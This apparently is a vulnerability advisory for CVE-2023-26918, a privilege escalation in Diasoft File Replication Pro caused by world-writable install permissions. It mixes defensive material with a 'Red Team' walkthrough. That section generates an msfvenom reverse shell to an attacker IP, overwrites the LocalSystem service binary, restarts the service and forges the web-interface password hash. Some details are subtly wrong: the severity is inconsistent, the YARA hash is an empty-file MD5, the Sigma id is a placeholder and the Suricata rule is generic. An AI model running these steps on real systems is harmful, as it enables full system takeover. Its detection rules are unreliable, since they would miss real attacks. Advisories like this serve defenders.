CVE-2023-26918

Executive Summary

CVE-2023-26918 is a critical privilege escalation vulnerability in Diasoft File Replication Pro 7.5.0. The vulnerability stems from incorrect file and folder permissions on the installation directory (C:\Program Files\FileReplicationPro), which grants Everyone:(F) (Full Control) access. This allows any local user or malicious process to replace the prunsrv.exe executable, which runs as the LocalSystem account via the frp service, with a Trojan horse. Successful exploitation results in complete system compromise. Additionally, the properties.xml file in the etc folder contains a SHA-1(Base64) hashed password for remote web interface access, which can be modified to gain unauthorized access.

Supply Chain & Package Security

This vulnerability is not related to a software supply chain or package manager (NPM, PyPI, Go, Ruby). It is a local privilege escalation issue due to misconfigured file system permissions on a Windows service binary.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) - The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: Low (PR:L) - The attacker needs a standard user account.
• User Interaction: None (UI:N) - No user interaction is required.
• Scope: Unchanged (S:U) - The vulnerability does not affect resources beyond the security scope.
• Confidentiality, Integrity, Availability: High (C:H/I:H/A:H) - Full compromise of the system.

Threat Level: Critical. The vulnerability is trivial to exploit and provides immediate SYSTEM-level access.

Deep Dive & Mechanics

The vulnerability is rooted in Windows discretionary access control lists (DACLs). The FileReplicationPro installation directory is configured with Everyone:(F), meaning every user, including unprivileged accounts, has full control over the directory and its contents.

The frp service is configured to run as LocalSystem and executes the binary C:\Program Files\FileReplicationPro\prunsrv.exe. Because any user can modify files in this directory, an attacker can:

1. Replace the Service Binary: Overwrite prunsrv.exe with a malicious executable (e.g., a reverse shell or a backdoor).
2. Trigger Service Restart: Either wait for a system reboot or manually restart the service (if the user has the SeServiceLogonRight or can coerce a restart).
3. Escalate Privileges: The malicious binary executes with LocalSystem privileges, granting the attacker full control over the operating system.

Additionally, the properties.xml file in the etc subdirectory stores the password hash for the web interface. An attacker can:

1. Read the existing hash.
2. Generate a new SHA-1 hash of a chosen password and Base64-encode it.
3. Replace the hash in properties.xml.
4. Log in to the web interface with the new password, potentially gaining remote administrative access.

Vulnerable vs. Patched Code

Vulnerable Configuration (CVE-2023-26918): The icacls output shows the insecure permissions:

C:\Program Files>icacls "c:\Program Files\FileReplicationPro"
c:\Program Files\FileReplicationPro Everyone:(F)
                                    Everyone:(OI)(CI)(IO)(F)

This grants Everyone full control (F) over the directory and all subfolders/files ((OI)(CI)(IO)).

Patched Configuration (Hypothetical): A secure configuration would restrict permissions to only SYSTEM and Administrators:

C:\Program Files>icacls "c:\Program Files\FileReplicationPro"
c:\Program Files\FileReplicationPro NT AUTHORITY\SYSTEM:(F)
                                    BUILTIN\Administrators:(F)

This prevents standard users from modifying the service binary or configuration files.

Exploitation & Lab Setup

Red Team

Exploit-DB Code Usage: The provided Exploit-DB code details the vulnerability but does not contain a functional exploit script. The following steps outline the manual exploitation process:

1. Generate a Malicious Binary: Create a payload (e.g., using msfvenom) that will execute as LocalSystem.

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o malicious.exe
   

2. Replace the Service Binary: Copy the malicious binary to the target, overwriting the legitimate prunsrv.exe.

   copy malicious.exe "C:\Program Files\FileReplicationPro\prunsrv.exe"
   

3. Restart the Service: Trigger the service to start the malicious binary.

   sc stop frp
   sc start frp
   

   If the user lacks permissions to stop/start services, wait for a system reboot or use other techniques (e.g., schtasks to trigger a service restart).

4. Receive the Shell: The reverse shell will connect back to the attacker's listener with SYSTEM privileges.

Password Hash Replacement (Web Interface):

1. Generate a new SHA-1 hash and Base64 encode it.

   echo -n "newpassword" | openssl sha1 | cut -d' ' -f2 | xxd -r -p | base64
   

2. Replace the hash in properties.xml.

   <!-- Original -->
   <property name="password" value="<old_base64_hash>"/>
   <!-- Modified -->
   <property name="password" value="<new_base64_hash>"/>
   

3. Log in to the web interface with the new password.

Blue Team

Detection & Response:

1. Monitor File Integrity: Use Sysmon (Event ID 11 - FileCreate) or Windows File Server Resource Manager to alert on changes to C:\Program Files\FileReplicationPro\prunsrv.exe.
2. Audit Service Changes: Monitor Windows Event Log for service creation/modification (Event ID 7045) or service start/stop (Event ID 7036).
3. Check Permissions: Regularly audit the permissions on the FileReplicationPro directory using icacls or a security scanner.

   icacls "C:\Program Files\FileReplicationPro"
   

4. Harden Permissions: Immediately restrict permissions to SYSTEM and Administrators only.

   icacls "C:\Program Files\FileReplicationPro" /grant "SYSTEM:(OI)(CI)F" /grant "Administrators:(OI)(CI)F" /inheritance:e
   icacls "C:\Program Files\FileReplicationPro" /remove "Everyone"
   

Indicators of Compromise (IOCs)

• File System:
  • Modification of C:\Program Files\FileReplicationPro\prunsrv.exe (size, hash, or timestamp changes).
  • Modification of C:\Program Files\FileReplicationPro\etc\properties.xml.
  • Presence of unexpected executables in the FileReplicationPro directory.
• Process:
  • prunsrv.exe spawning a child process (e.g., cmd.exe, powershell.exe, or a reverse shell).
  • Unusual network connections from prunsrv.exe (e.g., outbound to an external IP).
• Windows Event Logs:
  • Security Event ID 4670: Permissions on an object were changed.
  • System Event ID 7036: The FRPReplicationServer service entered a running state.
  • System Event ID 7045: A service was installed on the system.
• Network:
  • Outbound connections from the host on high ports (e.g., 4444) to an external IP.

Detection Engineering

YARA Rule

rule CVE_2023_26918_FileReplicationPro_Privesc {
    meta:
        description = "Detects modification of prunsrv.exe in FileReplicationPro directory"
        author = "Valters IT"
        date = "2024-05-24"
        reference = "CVE-2023-26918"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "prunsrv.exe" nocase
        $s2 = "FileReplicationPro" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: CVE-2023-26918 - File Replication Pro Privilege Escalation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects modification of the prunsrv.exe binary in the FileReplicationPro directory.
author: Valters IT
date: 2024/05/24
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26918
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11
        TargetFilename|contains: 'C:\Program Files\FileReplicationPro\prunsrv.exe'
    condition: selection
falsepositives:
    - Legitimate software updates from Diasoft
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-26918 - File Replication Pro Potential Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Note: This is a generic reverse shell detection rule. A more specific rule would require analyzing the specific payload used.

Remediation & Mitigation

1. Immediate Action: Manually correct the file permissions on the FileReplicationPro directory.

   icacls "C:\Program Files\FileReplicationPro" /grant "SYSTEM:(OI)(CI)F" /grant "Administrators:(OI)(CI)F" /inheritance:e
   icacls "C:\Program Files\FileReplicationPro" /remove "Everyone"
   

2. Vendor Patch: Contact Diasoft for an official patch. As of this report, no patch is available.
3. Workaround: If the service is not required, disable it.

   sc config frp start= disabled
   sc stop frp
   

4. Monitoring: Implement the detection rules provided above to alert on any attempts to exploit this vulnerability.
5. Principle of Least Privilege: Ensure that no service binaries are writable by unprivileged users. Regularly audit file permissions on critical system paths.

Valters IT

{/* [Security Hash: 9584A7B1614E207BD876F4AE] */}